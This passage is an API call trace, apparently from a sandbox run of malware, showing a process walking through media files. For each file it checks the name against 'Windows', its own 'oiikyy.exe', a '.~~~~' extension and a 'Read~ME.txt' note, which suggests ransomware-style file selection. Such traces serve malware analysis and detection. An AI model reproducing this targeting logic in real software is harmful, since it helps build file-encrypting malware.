	[0083.728] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2466, dwReserved0=0x0, dwReserved1=0x0, cFileName="FINCL_02.MID", cAlternateFileName="")) returned 1
	[0083.728] lstrcmpiW (lpString1="FINCL_02.MID", lpString2="Windows") returned -1
	[0083.728] lstrcmpW (lpString1="FINCL_02.MID", lpString2="oiikyy.exe") returned -1
	[0083.728] StrStrW (lpFirst="FINCL_02.MID", lpSrch=".~~~~") returned 0x0
	[0083.728] lstrcmpW (lpString1="FINCL_02.MID", lpString2="Read~ME.txt") returned -1
	[0083.728] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.729] GetCurrentThreadId () returned 0x618
	[0083.729] RtlWakeConditionVariable () returned 0x365f48
	[0083.729] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x617e41d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x816, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLAP.WMF", cAlternateFileName="")) returned 1
	[0083.729] lstrcmpiW (lpString1="FLAP.WMF", lpString2="Windows") returned -1
	[0083.729] lstrcmpW (lpString1="FLAP.WMF", lpString2="oiikyy.exe") returned -1
	[0083.729] StrStrW (lpFirst="FLAP.WMF", lpSrch=".~~~~") returned 0x0
	[0083.729] lstrcmpW (lpString1="FLAP.WMF", lpString2="Read~ME.txt") returned -1
	[0083.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0083.729] GetCurrentThreadId () returned 0x618
	[0083.729] RtlWakeConditionVariable () returned 0x365f48
	[0083.729] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x61ab7bf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRDEN_01.MID", cAlternateFileName="")) returned 1
	[0083.729] lstrcmpiW (lpString1="GRDEN_01.MID", lpString2="Windows") returned -1
	[0083.729] lstrcmpW (lpString1="GRDEN_01.MID", lpString2="oiikyy.exe") returned -1
	[0083.729] StrStrW (lpFirst="GRDEN_01.MID", lpSrch=".~~~~") returned 0x0
	[0083.729] lstrcmpW (lpString1="GRDEN_01.MID", lpString2="Read~ME.txt") returned -1
	[0083.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.729] GetCurrentThreadId () returned 0x618
	[0083.729] RtlWakeConditionVariable () returned 0x365f48
	[0083.729] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x52c3bfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x18bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRID_01.MID", cAlternateFileName="")) returned 1
	[0083.729] lstrcmpiW (lpString1="GRID_01.MID", lpString2="Windows") returned -1
	[0083.729] lstrcmpW (lpString1="GRID_01.MID", lpString2="oiikyy.exe") returned -1
	[0083.729] StrStrW (lpFirst="GRID_01.MID", lpSrch=".~~~~") returned 0x0
	[0083.729] lstrcmpW (lpString1="GRID_01.MID", lpString2="Read~ME.txt") returned -1
	[0083.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.729] GetCurrentThreadId () returned 0x618
	[0083.730] RtlWakeConditionVariable () returned 0x365f48
	[0083.730] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636ce600, ftCreationTime.dwHighDateTime=0x1bd4b2b, ftLastAccessTime.dwLowDateTime=0x61c80c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x636ce600, ftLastWriteTime.dwHighDateTime=0x1bd4b2b, nFileSizeHigh=0x0, nFileSizeLow=0xeb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00057_.WMF", cAlternateFileName="")) returned 1
	[0083.730] lstrcmpiW (lpString1="HH00057_.WMF", lpString2="Windows") returned -1
	[0083.730] lstrcmpW (lpString1="HH00057_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.730] StrStrW (lpFirst="HH00057_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.730] lstrcmpW (lpString1="HH00057_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.730] GetCurrentThreadId () returned 0x618
	[0083.730] RtlWakeConditionVariable () returned 0x365f48
	[0083.730] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0af3b00, ftCreationTime.dwHighDateTime=0x1bd4b29, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf0af3b00, ftLastWriteTime.dwHighDateTime=0x1bd4b29, nFileSizeHigh=0x0, nFileSizeLow=0x9a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00084_.WMF", cAlternateFileName="")) returned 1
	[0083.730] lstrcmpiW (lpString1="HH00084_.WMF", lpString2="Windows") returned -1
	[0083.730] lstrcmpW (lpString1="HH00084_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.730] StrStrW (lpFirst="HH00084_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.730] lstrcmpW (lpString1="HH00084_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.730] GetCurrentThreadId () returned 0x618
	[0083.730] RtlWakeConditionVariable () returned 0x365f48
	[0083.730] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf81f1600, ftCreationTime.dwHighDateTime=0x1bd4b22, ftLastAccessTime.dwLowDateTime=0x61c80c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf81f1600, ftLastWriteTime.dwHighDateTime=0x1bd4b22, nFileSizeHigh=0x0, nFileSizeLow=0x8b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00231_.WMF", cAlternateFileName="")) returned 1
	[0083.730] lstrcmpiW (lpString1="HH00231_.WMF", lpString2="Windows") returned -1
	[0083.730] lstrcmpW (lpString1="HH00231_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.730] StrStrW (lpFirst="HH00231_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.730] lstrcmpW (lpString1="HH00231_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.730] GetCurrentThreadId () returned 0x618
	[0083.731] RtlWakeConditionVariable () returned 0x365f48
	[0083.731] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0c84900, ftCreationTime.dwHighDateTime=0x1bd4b22, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd0c84900, ftLastWriteTime.dwHighDateTime=0x1bd4b22, nFileSizeHigh=0x0, nFileSizeLow=0x402, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00235_.WMF", cAlternateFileName="")) returned 1
	[0083.731] lstrcmpiW (lpString1="HH00235_.WMF", lpString2="Windows") returned -1
	[0083.731] lstrcmpW (lpString1="HH00235_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.731] StrStrW (lpFirst="HH00235_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.731] lstrcmpW (lpString1="HH00235_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.731] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.731] GetCurrentThreadId () returned 0x618
	[0083.731] RtlWakeConditionVariable () returned 0x365f48
	[0083.731] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf971c00, ftCreationTime.dwHighDateTime=0x1bd4b22, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf971c00, ftLastWriteTime.dwHighDateTime=0x1bd4b22, nFileSizeHigh=0x0, nFileSizeLow=0xcd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00236_.WMF", cAlternateFileName="")) returned 1
	[0083.731] lstrcmpiW (lpString1="HH00236_.WMF", lpString2="Windows") returned -1
	[0083.731] lstrcmpW (lpString1="HH00236_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.731] StrStrW (lpFirst="HH00236_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.731] lstrcmpW (lpString1="HH00236_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.731] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.731] GetCurrentThreadId () returned 0x618
	[0083.731] RtlWakeConditionVariable () returned 0x365f48
	[0083.731] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cd54400, ftCreationTime.dwHighDateTime=0x1bd4b22, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8cd54400, ftLastWriteTime.dwHighDateTime=0x1bd4b22, nFileSizeHigh=0x0, nFileSizeLow=0x7a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00241_.WMF", cAlternateFileName="")) returned 1
	[0083.731] lstrcmpiW (lpString1="HH00241_.WMF", lpString2="Windows") returned -1
	[0083.731] lstrcmpW (lpString1="HH00241_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.731] StrStrW (lpFirst="HH00241_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.731] lstrcmpW (lpString1="HH00241_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.731] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.731] GetCurrentThreadId () returned 0x618
	[0083.732] RtlWakeConditionVariable () returned 0x365f48
	[0083.732] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1461c00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa1461c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xe4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00260_.WMF", cAlternateFileName="")) returned 1
	[0083.732] lstrcmpiW (lpString1="HH00260_.WMF", lpString2="Windows") returned -1
	[0083.732] lstrcmpW (lpString1="HH00260_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.732] StrStrW (lpFirst="HH00260_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.732] lstrcmpW (lpString1="HH00260_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.732] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.732] GetCurrentThreadId () returned 0x618
	[0083.732] RtlWakeConditionVariable () returned 0x365f48
	[0083.732] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa014ef00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa014ef00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00276_.WMF", cAlternateFileName="")) returned 1
	[0083.732] lstrcmpiW (lpString1="HH00276_.WMF", lpString2="Windows") returned -1
	[0083.732] lstrcmpW (lpString1="HH00276_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.732] StrStrW (lpFirst="HH00276_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.732] lstrcmpW (lpString1="HH00276_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.732] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.732] GetCurrentThreadId () returned 0x618
	[0083.732] RtlWakeConditionVariable () returned 0x365f48
	[0083.732] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10883400, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10883400, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x5f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00334_.WMF", cAlternateFileName="")) returned 1
	[0083.732] lstrcmpiW (lpString1="HH00334_.WMF", lpString2="Windows") returned -1
	[0083.732] lstrcmpW (lpString1="HH00334_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.732] StrStrW (lpFirst="HH00334_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.732] lstrcmpW (lpString1="HH00334_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.733] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.733] GetCurrentThreadId () returned 0x618
	[0083.733] RtlWakeConditionVariable () returned 0x365f48
	[0083.733] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe38a5000, ftCreationTime.dwHighDateTime=0x1bd4b19, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe38a5000, ftLastWriteTime.dwHighDateTime=0x1bd4b19, nFileSizeHigh=0x0, nFileSizeLow=0xce2, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00443_.WMF", cAlternateFileName="")) returned 1
	[0083.733] lstrcmpiW (lpString1="HH00443_.WMF", lpString2="Windows") returned -1
	[0083.733] lstrcmpW (lpString1="HH00443_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.733] StrStrW (lpFirst="HH00443_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.733] lstrcmpW (lpString1="HH00443_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.733] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.733] GetCurrentThreadId () returned 0x618
	[0083.733] RtlWakeConditionVariable () returned 0x365f48
	[0083.733] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9cafd00, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe9cafd00, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0x332, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00513_.WMF", cAlternateFileName="")) returned 1
	[0083.733] lstrcmpiW (lpString1="HH00513_.WMF", lpString2="Windows") returned -1
	[0083.733] lstrcmpW (lpString1="HH00513_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.733] StrStrW (lpFirst="HH00513_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.733] lstrcmpW (lpString1="HH00513_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.733] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.733] GetCurrentThreadId () returned 0x618
	[0083.733] RtlWakeConditionVariable () returned 0x365f48
	[0083.733] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6576c00, ftCreationTime.dwHighDateTime=0x1bd4aed, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6576c00, ftLastWriteTime.dwHighDateTime=0x1bd4aed, nFileSizeHigh=0x0, nFileSizeLow=0x3960, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00524_.WMF", cAlternateFileName="")) returned 1
	[0083.733] lstrcmpiW (lpString1="HH00524_.WMF", lpString2="Windows") returned -1
	[0083.761] lstrcmpW (lpString1="HH00524_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.761] StrStrW (lpFirst="HH00524_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.761] lstrcmpW (lpString1="HH00524_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.762] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.762] GetCurrentThreadId () returned 0x618
	[0083.762] RtlWakeConditionVariable () returned 0x365f48
	[0083.765] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3f51200, ftCreationTime.dwHighDateTime=0x1bd4aed, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd3f51200, ftLastWriteTime.dwHighDateTime=0x1bd4aed, nFileSizeHigh=0x0, nFileSizeLow=0x34e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00526_.WMF", cAlternateFileName="")) returned 1
	[0083.766] lstrcmpiW (lpString1="HH00526_.WMF", lpString2="Windows") returned -1
	[0083.766] lstrcmpW (lpString1="HH00526_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.766] StrStrW (lpFirst="HH00526_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.766] lstrcmpW (lpString1="HH00526_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.766] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.766] GetCurrentThreadId () returned 0x618
	[0083.766] RtlWakeConditionVariable () returned 0x365f48
	[0083.766] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2c3e500, ftCreationTime.dwHighDateTime=0x1bd4aed, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd2c3e500, ftLastWriteTime.dwHighDateTime=0x1bd4aed, nFileSizeHigh=0x0, nFileSizeLow=0x16a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00527_.WMF", cAlternateFileName="")) returned 1
	[0083.766] lstrcmpiW (lpString1="HH00527_.WMF", lpString2="Windows") returned -1
	[0083.766] lstrcmpW (lpString1="HH00527_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.766] StrStrW (lpFirst="HH00527_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.766] lstrcmpW (lpString1="HH00527_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.766] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.766] GetCurrentThreadId () returned 0x618
	[0083.766] RtlWakeConditionVariable () returned 0x365f48
	[0083.766] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c49d600, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c49d600, ftLastWriteTime.dwHighDateTime=0x1bd4b33, nFileSizeHigh=0x0, nFileSizeLow=0xe86, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00546_.WMF", cAlternateFileName="")) returned 1
	[0083.766] lstrcmpiW (lpString1="HH00546_.WMF", lpString2="Windows") returned -1
	[0083.766] lstrcmpW (lpString1="HH00546_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.766] StrStrW (lpFirst="HH00546_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.766] lstrcmpW (lpString1="HH00546_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.766] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.766] GetCurrentThreadId () returned 0x618
	[0083.767] RtlWakeConditionVariable () returned 0x365f48
	[0083.767] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48e63d00, ftCreationTime.dwHighDateTime=0x1bd4b2a, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x48e63d00, ftLastWriteTime.dwHighDateTime=0x1bd4b2a, nFileSizeHigh=0x0, nFileSizeLow=0x5bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00601_.WMF", cAlternateFileName="")) returned 1
	[0083.767] lstrcmpiW (lpString1="HH00601_.WMF", lpString2="Windows") returned -1
	[0083.767] lstrcmpW (lpString1="HH00601_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.767] StrStrW (lpFirst="HH00601_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.767] lstrcmpW (lpString1="HH00601_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.767] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.767] GetCurrentThreadId () returned 0x618
	[0083.767] RtlWakeConditionVariable () returned 0x365f48
	[0083.767] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eb62b00, ftCreationTime.dwHighDateTime=0x1bd4b47, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5eb62b00, ftLastWriteTime.dwHighDateTime=0x1bd4b47, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00602_.WMF", cAlternateFileName="")) returned 1
	[0083.767] lstrcmpiW (lpString1="HH00602_.WMF", lpString2="Windows") returned -1
	[0083.767] lstrcmpW (lpString1="HH00602_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.767] StrStrW (lpFirst="HH00602_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.767] lstrcmpW (lpString1="HH00602_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.767] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.767] GetCurrentThreadId () returned 0x618
	[0083.767] RtlWakeConditionVariable () returned 0x365f48
	[0083.767] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aad3100, ftCreationTime.dwHighDateTime=0x1bd4b1b, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1aad3100, ftLastWriteTime.dwHighDateTime=0x1bd4b1b, nFileSizeHigh=0x0, nFileSizeLow=0x3158, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00612_.WMF", cAlternateFileName="")) returned 1
	[0083.767] lstrcmpiW (lpString1="HH00612_.WMF", lpString2="Windows") returned -1
	[0083.767] lstrcmpW (lpString1="HH00612_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.767] StrStrW (lpFirst="HH00612_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.767] lstrcmpW (lpString1="HH00612_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.767] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.768] GetCurrentThreadId () returned 0x618
	[0083.768] RtlWakeConditionVariable () returned 0x365f48
	[0083.768] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98237200, ftCreationTime.dwHighDateTime=0x1bd4b18, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98237200, ftLastWriteTime.dwHighDateTime=0x1bd4b18, nFileSizeHigh=0x0, nFileSizeLow=0x2994, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00623_.WMF", cAlternateFileName="")) returned 1
	[0083.768] lstrcmpiW (lpString1="HH00623_.WMF", lpString2="Windows") returned -1
	[0083.768] lstrcmpW (lpString1="HH00623_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.768] StrStrW (lpFirst="HH00623_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.768] lstrcmpW (lpString1="HH00623_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.768] GetCurrentThreadId () returned 0x618
	[0083.768] RtlWakeConditionVariable () returned 0x365f48
	[0083.768] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b873a00, ftCreationTime.dwHighDateTime=0x1bd4b18, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b873a00, ftLastWriteTime.dwHighDateTime=0x1bd4b18, nFileSizeHigh=0x0, nFileSizeLow=0x844, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00625_.WMF", cAlternateFileName="")) returned 1
	[0083.768] lstrcmpiW (lpString1="HH00625_.WMF", lpString2="Windows") returned -1
	[0083.768] lstrcmpW (lpString1="HH00625_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.768] StrStrW (lpFirst="HH00625_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.768] lstrcmpW (lpString1="HH00625_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.768] GetCurrentThreadId () returned 0x618
	[0083.768] RtlWakeConditionVariable () returned 0x365f48
